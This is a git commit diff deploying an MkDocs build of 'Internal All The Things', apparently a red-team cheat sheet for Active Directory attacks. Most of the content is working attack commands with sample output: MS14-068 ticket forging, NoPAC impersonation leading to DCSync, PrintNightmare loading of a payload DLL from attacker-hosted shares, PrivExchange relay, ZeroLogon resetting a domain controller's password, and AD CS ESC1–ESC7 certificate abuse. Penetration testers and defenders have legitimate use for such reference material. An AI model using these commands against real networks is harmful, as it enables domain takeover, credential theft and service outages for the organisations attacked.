commit aedb0049d0df70b9d1498ca1fd05522fa831d8c4 Author: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> Date: Tue Nov 5 20:20:48 2024 +0000 Deployed d2c2174 with MkDocs version: 1.6.1 diff --git a/.nojekyll b/.nojekyll new file mode 100644 index 0000000..e69de29 diff --git a/404.html b/404.html new file mode 100644 index 0000000..5aa5eef --- /dev/null +++ b/404.html @@ -0,0 +1,3931 @@ + + + + + + + + + + + + + + + + + + + + + Internal All The Things + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
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MS14-068 Checksum Validation

+

This exploit require to know the user SID, you can use rpcclient to remotely get it or wmi if you have an access on the machine.

+
    +
  • RPCClient + 
    rpcclient $> lookupnames john.smith
+john.smith S-1-5-21-2923581646-3335815371-2872905324-1107 (User: 1)
+
    • +
  • WMI + 
    wmic useraccount get name,sid
+Administrator  S-1-5-21-3415849876-833628785-5197346142-500   
+Guest          S-1-5-21-3415849876-833628785-5197346142-501   
+Administrator  S-1-5-21-297520375-2634728305-5197346142-500   
+Guest          S-1-5-21-297520375-2634728305-5197346142-501   
+krbtgt         S-1-5-21-297520375-2634728305-5197346142-502   
+lambda         S-1-5-21-297520375-2634728305-5197346142-1110 
+
    • +
  • Powerview + 
    Convert-NameToSid high-sec-corp.localkrbtgt
+S-1-5-21-2941561648-383941485-1389968811-502
+
    • +
  • netexec: netexec ldap DC1.lab.local -u username -p password -k --get-sid
    • +
+
Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068
+
+

Generate a ticket with metasploit or pykek

+
Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
+   Name      Current Setting                                Required  Description
+   ----      ---------------                                --------  -----------
+   DOMAIN    LABDOMAIN.LOCAL                                yes       The Domain (upper case) Ex: DEMO.LOCAL
+   PASSWORD  P@ssw0rd                                       yes       The Domain User password
+   RHOSTS    10.10.10.10                                    yes       The target address range or CIDR identifier
+   RPORT     88                                             yes       The target port
+   Timeout   10                                             yes       The TCP timeout to establish connection and read data
+   USER      lambda                                         yes       The Domain User
+   USER_SID  S-1-5-21-297520375-2634728305-5197346142-1106  yes       The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000
+
+
# Alternative download: https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek
+$ git clone https://github.com/SecWiki/windows-kernel-exploits
+$ python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
+$ python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
+$ python ./ms14-068.py -u john.smith@pwn3d.local -s S-1-5-21-2923581646-3335815371-2872905324-1107 -d 192.168.115.10
+$ python ms14-068.py -u user01@metasploitable.local -d msfdc01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066
+-1105
+  [+] Building AS-REQ for msfdc01.metasploitable.local... Done!
+  [+] Sending AS-REQ to msfdc01.metasploitable.local... Done!
+  [+] Receiving AS-REP from msfdc01.metasploitable.local... Done!
+  [+] Parsing AS-REP from msfdc01.metasploitable.local... Done!
+  [+] Building TGS-REQ for msfdc01.metasploitable.local... Done!
+  [+] Sending TGS-REQ to msfdc01.metasploitable.local... Done!
+  [+] Receiving TGS-REP from msfdc01.metasploitable.local... Done!
+  [+] Parsing TGS-REP from msfdc01.metasploitable.local... Done!
+  [+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done!
+
+

Then use mimikatz to load the ticket.

+
mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"
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Mitigations

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    +
  • Ensure the DCPromo process includes a patch QA step before running DCPromo that checks for installation of KB3011780. The quick and easy way to perform this check is with PowerShell: get-hotfix 3011780
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NoPAC / samAccountName Spoofing

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During S4U2Self, the KDC will try to append a '\$' to the computer name specified in the TGT, if the computer name is not found. An attacker can create a new machine account with the sAMAccountName set to a domain controller's sAMAccountName - without the '\$'. For instance, suppose there is a domain controller with a sAMAccountName set to 'DC\$'. An attacker would then create a machine account with the sAMAccountName set to 'DC'. The attacker can then request a TGT for the newly created machine account. After the TGT has been issued by the KDC, the attacker can rename the newly created machine account to something different, e.g. JOHNS-PC. The attacker can then perform S4U2Self and request a ST to itself as any user. Since the machine account with the sAMAccountName set to 'DC' has been renamed, the KDC will try to find the machine account by appending a '$', which will then match the domain controller. The KDC will then issue a valid ST for the domain controller.

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Requirements

+
    +
  • MachineAccountQuota > 0
    • +
+

Check for exploitation

+
    +
  1. Check the MachineAccountQuota of the account + 
    netexec ldap 10.10.10.10 -u username -p 'Password123' -d 'domain.local' --kdcHost 10.10.10.10 -M MAQ
+StandIn.exe --object ms-DS-MachineAccountQuota=*
+
    2. +
  2. Check if the DC is vulnerable + 
    netexec smb 10.10.10.10 -u '' -p '' -d domain -M nopac
+
    3. +
+

Exploitation

+
    +
  1. Create a computer account + 
    impacket@linux> addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'
+
+powermad@windows> . .\Powermad.ps1
+powermad@windows> $password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
+powermad@windows> New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose
+
+sharpmad@windows> Sharpmad.exe MAQ -Action new -MachineAccount ControlledComputer -MachinePassword ComputerPassword
+
    2. +
  2. Clear the controlled machine account servicePrincipalName attribute + 
    krbrelayx@linux> addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController
+
+powershell@windows> . .\Powerview.ps1
+powershell@windows> Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose
+
    3. +
  3. (CVE-2021-42278) Change the controlled machine account sAMAccountName to a Domain Controller's name without the trailing $ + 
    # https://github.com/SecureAuthCorp/impacket/pull/1224
+impacket@linux> renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'
+
+powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose
+
    4. +
  4. Request a TGT for the controlled machine account + 
    impacket@linux> getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'
+
+cmd@windows> Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap
+
    5. +
  5. Reset the controlled machine account sAMAccountName to its old value + 
    impacket@linux> renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'
+
+powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose
+
    6. +
  6. (CVE-2021-42287) Request a service ticket with S4U2self by presenting the TGT obtained before + 
    # https://github.com/SecureAuthCorp/impacket/pull/1202
+impacket@linux> KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'
+
+cmd@windows> Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]
+
    7. +
  7. DCSync + 
    KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'
+
    8. +
+

Automated exploitation:

+
    +
  • cube0x0/noPac - Windows + 
    noPac.exe scan -domain htb.local -user user -pass 'password123'
+noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt
+noPac.exe -domain htb.local -user domain_user -pass "Password123!" /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service ldaps /ptt /impersonate Administrator
+
    • +
  • Ridter/noPac - Linux + 
    python noPac.py 'domain.local/user' -hashes ':31d6cfe0d16ae931b73c59d7e0c089c0' -dc-ip 10.10.10.10 -use-ldap -dump
+
    • +
  • WazeHell/sam-the-admin + 
    $ python3 sam_the_admin.py "domain/user:password" -dc-ip 10.10.10.10 -shell
+[*] Selected Target dc.caltech.white                                              
+[*] Total Domain Admins 11                                                        
+[*] will try to impersonat gaylene.dreddy                                         
+[*] Current ms-DS-MachineAccountQuota = 10                                        
+[*] Adding Computer Account "SAMTHEADMIN-11$"                                     
+[*] MachineAccount "SAMTHEADMIN-11$" password = EhFMT%mzmACL                      
+[*] Successfully added machine account SAMTHEADMIN-11$ with password EhFMT%mzmACL.
+[*] SAMTHEADMIN-11$ object = CN=SAMTHEADMIN-11,CN=Computers,DC=caltech,DC=white   
+[*] SAMTHEADMIN-11$ sAMAccountName == dc                                          
+[*] Saving ticket in dc.ccache                                                    
+[*] Resting the machine account to SAMTHEADMIN-11$                                
+[*] Restored SAMTHEADMIN-11$ sAMAccountName to original value                     
+[*] Using TGT from cache                                                          
+[*] Impersonating gaylene.dreddy                                                  
+[*]     Requesting S4U2self                                                       
+[*] Saving ticket in gaylene.dreddy.ccache                                        
+[!] Launching semi-interactive shell - Careful what you execute                   
+C:\Windows\system32>whoami                                                        
+nt authority\system 
+
    • +
  • ly4k/Pachine + 
    usage: pachine.py [-h] [-scan] [-spn SPN] [-impersonate IMPERSONATE] [-domain-netbios NETBIOSNAME] [-computer-name NEW-COMPUTER-NAME$] [-computer-pass password] [-debug] [-method {SAMR,LDAPS}] [-port {139,445,636}] [-baseDN DC=test,DC=local]
+              [-computer-group CN=Computers,DC=test,DC=local] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] -dc-host hostname [-dc-ip ip]
+              [domain/]username[:password]
+$ python3 pachine.py -dc-host dc.domain.local -scan 'domain.local/john:Passw0rd!'
+$ python3 pachine.py -dc-host dc.domain.local -spn cifs/dc.domain.local -impersonate administrator 'domain.local/john:Passw0rd!'
+$ export KRB5CCNAME=$PWD/administrator@domain.local.ccache
+$ impacket-psexec -k -no-pass 'domain.local/administrator@dc.domain.local'
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PrintNightmare

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+

CVE-2021-1675 / CVE-2021-34527

+
+

The DLL will be stored in C:\Windows\System32\spool\drivers\x64\3\. +The exploit will execute the DLL either from the local filesystem or a remote share.

+

Requirements:

+
    +
  • Spooler Service enabled (Mandatory)
    • +
  • Server with patches < June 2021
    • +
  • DC with Pre Windows 2000 Compatibility group
    • +
  • Server with registry key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\NoWarningNoElevationOnInstall = (DWORD) 1
    • +
  • Server with registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = (DWORD) 0
    • +
+

Detect the vulnerability:

+
    +
  • Impacket - rpcdump + 
    python3 ./rpcdump.py @10.0.2.10 | egrep 'MS-RPRN|MS-PAR'
+Protocol: [MS-RPRN]: Print System Remote Protocol
+
    • +
  • It Was All A Dream + 
    git clone https://github.com/byt3bl33d3r/ItWasAllADream
+cd ItWasAllADream && poetry install && poetry shell
+itwasalladream -u user -p Password123 -d domain 10.10.10.10/24
+docker run -it itwasalladream -u username -p Password123 -d domain 10.10.10.10
+
    • +
+

Payload Hosting:

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    +
  • The payload can be hosted on Impacket SMB server since PR #1109: + 
    python3 ./smbserver.py share /tmp/smb/
+
    • +
  • Using Invoke-BuildAnonymousSMBServer (Admin rights required on host): + 
    Import-Module .\Invoke-BuildAnonymousSMBServer.ps1; Invoke-BuildAnonymousSMBServer -Path C:\Share -Mode Enable
+
    • +
  • Using WebDav with SharpWebServer (Doesn't require admin rights): + 
    SharpWebServer.exe port=8888 dir=c:\users\public verbose=true
+
    • +
+

When using WebDav instead of SMB, you must add @[PORT] to the hostname in the URI, e.g.: \\172.16.1.5@8888\Downloads\beacon.dll +WebDav client must be activated on exploited target. By default it is not activated on Windows workstations (you have to net start webclient) and it's not installed on servers. Here is how to detect activated webdav:

+
nxc smb -u user -p password -d domain.local -M webdav [TARGET]
+
+

Trigger the exploit:

+
    +
  • SharpNightmare + 
    # require a modified Impacket: https://github.com/cube0x0/impacket
+python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\192.168.1.215\smb\addCube.dll'
+python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 'C:\addCube.dll'
+## LPE
+SharpPrintNightmare.exe C:\addCube.dll
+## RCE using existing context
+SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'
+## RCE using runas /netonly
+SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll'  'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' hackit.local domain_user Pass123
+
    • +
  • Invoke-Nightmare + 
    ## LPE only (PS1 + DLL)
+Import-Module .\cve-2021-1675.ps1
+Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
+Invoke-Nightmare -DriverName "Dementor" -NewUser "d3m3nt0r" -NewPassword "AzkabanUnleashed123*" 
+Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"
+
    • +
  • Mimikatz v2.2.0-20210709+ + 
    ## LPE
+misc::printnightmare /server:DC01 /library:C:\Users\user1\Documents\mimispool.dll
+## RCE
+misc::printnightmare /server:CASTLE /library:\\10.0.2.12\smb\beacon.dll /authdomain:LAB /authuser:Username /authpassword:Password01 /try:50
+
    • +
  • PrintNightmare - @outflanknl + 
    PrintNightmare [target ip or hostname] [UNC path to payload Dll] [optional domain] [optional username] [optional password]
+
    • +
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ErrorMessageDebug
0x5rpc_s_access_deniedPermissions on the file in the SMB share
0x525ERROR_NO_SUCH_USERThe specified account does not exist.
0x180unknown error codeShare is not SMB2
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PrivExchange

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Exchange your privileges for Domain Admin privs by abusing Exchange.
+⚠ You need a shell on a user account with a mailbox.

+
    +
  1. +

    Exchange server hostname or IP address

    +
    pth-net rpc group members "Exchange Servers" -I dc01.domain.local -U domain/username
+
    +
    2. +
  2. +

    Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket).

    +
    ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user username
+
    +
    3. +
  3. +

    Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. Forcing the Exchange server's to send back its NTLMv2 hash to a controlled machine.

    +
    # https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
+python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx
+python privexchange.py -ah 10.0.0.2 mail01.domain.local -d domain.local -u user_exchange -p pass_exchange
+
+# https://github.com/G0ldenGunSec/PowerPriv 
+powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016
+
    +
    4. +
  4. +

    Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash

    +
    python secretsdump.py xxxxxxxxxx -just-dc
+python secretsdump.py lab/buff@192.168.0.2 -ntds ntds -history -just-dc-ntlm
+
    +
    5. +
  5. +

    Clean your mess and restore a previous state of the user's ACL

    +
    python aclpwn.py --restore ../aclpwn-20190319-125741.restore
+
    +
    6. +
+

Alternatively you can use the Metasploit module

+

use auxiliary/scanner/http/exchange_web_server_pushsubscription

+

Alternatively you can use an all-in-one tool : Exchange2domain.

+
git clone github.com/Ridter/Exchange2domain 
+python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d domain.com -th DCip MailServerip
+python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip --just-dc-user krbtgt MailServerip
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ZeroLogon

+
+

CVE-2020-1472

+
+

White Paper from Secura : https://www.secura.com/pathtoimg.php?id=2055

+

Exploit steps from the white paper

+
    +
  1. Spoofing the client credential
    2. +
  2. Disabling signing and sealing
    3. +
  3. Spoofing a call
    4. +
  4. Changing a computer's AD password to null
    5. +
  5. From password change to domain admin
    6. +
  6. +

    ⚠ reset the computer's AD password in a proper way to avoid any Deny of Service

    +
    7. +
  7. +

    cve-2020-1472-exploit.py - Python script from dirkjanm + 

      # Check (https://github.com/SecuraBV/CVE-2020-1472)
+  proxychains python3 zerologon_tester.py DC01 172.16.1.5
+
+$ git clone https://github.com/dirkjanm/CVE-2020-1472.git
+
+# Activate a virtual env to install impacket
+$ python3 -m venv venv
+$ source venv/bin/activate
+$ pip3 install .
+
+# Exploit the CVE (https://github.com/dirkjanm/CVE-2020-1472/blob/master/cve-2020-1472-exploit.py)
+proxychains python3 cve-2020-1472-exploit.py DC01 172.16.1.5
+
+# Find the old NT hash of the DC
+proxychains secretsdump.py -history -just-dc-user 'DC01$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'CORP/DC01$@DC01.CORP.LOCAL'
+
+# Restore password from secretsdump 
+# secretsdump will automatically dump the plaintext machine password (hex encoded) 
+# when dumping the local registry secrets on the newest version
+python restorepassword.py CORP/DC01@DC01.CORP.LOCAL -target-ip 172.16.1.5 -hexpass e6ad4c4f64e71cf8c8020aa44bbd70ee711b8dce2adecd7e0d7fd1d76d70a848c987450c5be97b230bd144f3c3
+deactivate
+

    +
    8. +
  8. +

    nccfsas - .NET binary for Cobalt Strike's execute-assembly + 

    git clone https://github.com/nccgroup/nccfsas
+# Check
+execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local
+
+# Resetting the machine account password
+execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -reset
+
+# Testing from a non Domain-joined machine
+execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -patch
+
+# Now reset the password back
+

    +
    9. +
  9. +

    Mimikatz - 2.2.0 20200917 Post-Zerologon + 

    privilege::debug
+# Check for the CVE
+lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$
+
+# Exploit the CVE and set the computer account's password to ""
+lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ /exploit
+
+# Execute dcsync to extract some hashes
+lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:krbtgt /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
+lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:Administrator /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
+
+# Pass The Hash with the extracted Domain Admin hash
+sekurlsa::pth /user:Administrator /domain:LAB /rc4:HASH_NTLM_ADMIN
+
+# Use IP address instead of FQDN to force NTLM with Windows APIs 
+# Reset password to Waza1234/Waza1234/Waza1234/
+# https://github.com/gentilkiwi/mimikatz/blob/6191b5a8ea40bbd856942cbc1e48a86c3c505dd3/mimikatz/modules/kuhl_m_lsadump.c#L2584
+lsadump::postzerologon /target:10.10.10.10 /account:DC01$
+

    +
    10. +
  10. +

    netexec - only check + 

    netexec smb 10.10.10.10 -u username -p password -d domain -M zerologon
+

    +
    11. +
+

A 2nd approach to exploit zerologon is done by relaying authentication.

+

This technique, found by dirkjanm, requires more prerequisites but has the advantage of having no impact on service continuity. +The following prerequisites are needed: +* A domain account +* One DC running the PrintSpooler service +* Another DC vulnerable to zerologon

+
    +
  • ntlmrelayx - from Impacket and any tool such as printerbug.py + 
    # Check if one DC is running the PrintSpooler service
+rpcdump.py 10.10.10.10 | grep -A 6 "spoolsv"
+
+# Setup ntlmrelay in one shell
+ntlmrelayx.py -t dcsync://DC01.LAB.LOCAL -smb2support
+
+#Trigger printerbug in 2nd shell
+python3 printerbug.py 'LAB.LOCAL'/joe:Password123@10.10.10.10 10.10.10.12
+
    • +
+

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Active Directory - Certificate Services

+

Active Directory Certificate Services (AD CS) is a Microsoft Windows server role that provides a public key infrastructure (PKI). It allows you to create, manage, and distribute digital certificates, which are used to secure communication and transactions across a network.

+

ADCS Enumeration

+
    +
  • netexec: netexec ldap domain.lab -u username -p password -M adcs
    • +
  • ldapsearch: ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName
    • +
  • certutil: certutil.exe -config - -ping, certutil -dump
    • +
+

Certificate Enrollment

+
    +
  • DNS required (CT_FLAG_SUBJECT_ALT_REQUIRE_DNS or CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS): only principals with their dNSHostName attribute set can enroll.
    • +
  • Active Directory Users cannot enroll in certificate templates requiring dNSHostName.
    • +
  • Computers will get their dNSHostName attribute set when you domain-join a computer, but the attribute is null if you simply create a computer object in AD.
    • +
  • +

    Computers have validated write to their dNSHostName attribute meaning they can add a DNS name matching their computer name.

    +
    • +
  • +

    Email required (CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL or CT_FLAG_SUBJECT_REQUIRE_EMAIL): only principals with their mail attribute set can enroll unless the template is of schema version 1.

    +
    • +
  • By default, users and computers do not have their mail attribute set, and they cannot modify this attribute themselves.
    • +
  • Users might have the mail attribute set, but it is rare for computers.
    • +
+

ESC1 - Misconfigured Certificate Templates

+
+

Domain Users can enroll in the VulnTemplate template, which can be used for client authentication and has ENROLLEE_SUPPLIES_SUBJECT set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.

+
+

Requirements

+
    +
  • Template that allows for AD authentication
    • +
  • ENROLLEE_SUPPLIES_SUBJECT flag
    • +
  • [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage)
    • +
+

Exploitation

+
    +
  • Use Certify.exe to see if there are any vulnerable templates + 
    Certify.exe find /vulnerable
+Certify.exe find /vulnerable /currentuser
+# or
+PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
+# or
+certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
+# or
+python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=lab,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))'
+
    • +
  • Use Certify, Certi or Certipy to request a Certificate and add an alternative name (user to impersonate) + 
    # request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.
+Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
+certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --alt-name han --template UserSAN
+certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local'
+
    • +
  • Use OpenSSL and convert the certificate, do not enter a password + 
    openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
+
    • +
  • Move the cert.pfx to the target machine filesystem and request a TGT for the altname user using Rubeus + 
    Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
+
    • +
+

WARNING: These certificates will still be usable even if the user or computer resets their password!

+

NOTE: Look for EDITF_ATTRIBUTESUBJECTALTNAME2, CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, ManageCA flags, and NTLM Relay to AD CS HTTP Endpoints.

+

ESC2 - Misconfigured Certificate Templates

+

Requirements

+
    +
  • Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)
    • +
+

Exploitation

+
    +
  • Find template + 
    PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
+# or
+python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=megacorp,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))'
+
    • +
  • Request a certificate specifying the /altname as a domain admin like in ESC1.
    • +
+

ESC3 - Misconfigured Enrollment Agent Templates

+
+

ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users

+
+
    +
  • Request a certificate based on the vulnerable certificate template ESC3. + 
    $ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC3'
+[*] Saved certificate and private key to 'john.pfx'
+
    • +
  • Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user + 
    $ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
+
    • +
+

ESC4 - Access Control Vulnerabilities

+
+

Enabling the mspki-certificate-name-flag flag for a template that allows for domain authentication, allow attackers to "push a misconfiguration to a template leading to ESC1 vulnerability

+
+
    +
  • Search for WriteProperty with value 00000000-0000-0000-0000-000000000000 using modifyCertTemplate + 
    python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl
+
    • +
  • Add the ENROLLEE_SUPPLIES_SUBJECT (ESS) flag to perform ESC1 + 
    python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag
+
+# Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template. 
+C:\>StandIn.exe --adcs --filter WebServer --ess --add
+
    • +
  • Perform ESC1 and then restore the value + 
    python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag
+
    • +
+

Using Certipy

+
# overwrite the configuration to make it vulnerable to ESC1
+certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old
+# request a certificate based on the ESC4 template, just like ESC1.
+certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC4' -alt 'administrator@corp.local'
+# restore the old configuration
+certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json
+
+

ESC5 - Vulnerable PKI Object Access Control

+
+

Escalate the privileges from Domain Administrator in the child domain into Enterprise Administrator at the forest root.

+
+

Requirements:

+
    +
  • Add new templates to the "Certificate" Templates container
    • +
  • "WRITE" access to the pKIEnrollmentService object
    • +
+

Exploitation:

+
    +
  • Use PsExec to launch mmc as SYSTEM on the child DC: psexec.exe /accepteula -i -s mmc
    • +
  • Connect to "Configuration naming context" > "Certificate Template" container
    • +
  • Open certsrv.msc as SYSTEM and duplicate an existing template
    • +
  • Edit the properties of the template to:
      +
    • Granting enroll rights to a principal we control in the child domain.
      • +
    • Including Client Authentication in the Application Policies.
      • +
    • Allowing SANs in certificate requests.
      • +
    • Not enabling manager approval or authorized signatures.
      • +
    +
    • +
  • Publish the certificate template to the CA
      +
    • Publish by adding the template to the list in certificateTemplate property of CN=Services>CN=Public Key Services>CN=Enrollment Services>pkiEnrollmentService
      • +
    +
    • +
  • Finally use the ESC1 vulnerability introduced in the duplicated template to issue a certificate impersonating an Enterprise Administrator.
    • +
+

ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2

+
+

If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.

+
+

Exploitation

+
    +
  • Use Certify.exe to check for UserSpecifiedSAN flag state which refers to the EDITF_ATTRIBUTESUBJECTALTNAME2 flag. + 
    Certify.exe cas
+
    • +
  • Request a certificate for a template and add an altname, even though the default User template doesn't normally allow to specify alternative names + 
    .\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin
+
    • +
+

Mitigation

+
    +
  • Remove the flag: certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2
    • +
+

ESC7 - Vulnerable Certificate Authority Access Control

+

Exploitation

+
    +
  • Detect CAs that allow low privileged users the ManageCA or Manage Certificates permissions + 
    Certify.exe find /vulnerable
+
    • +
  • Change the CA settings to enable the SAN extension for all the templates under the vulnerable CA (ESC6) + 
    Certify.exe setconfig /enablesan /restart
+
    • +
  • Request the certificate with the desired SAN. + 
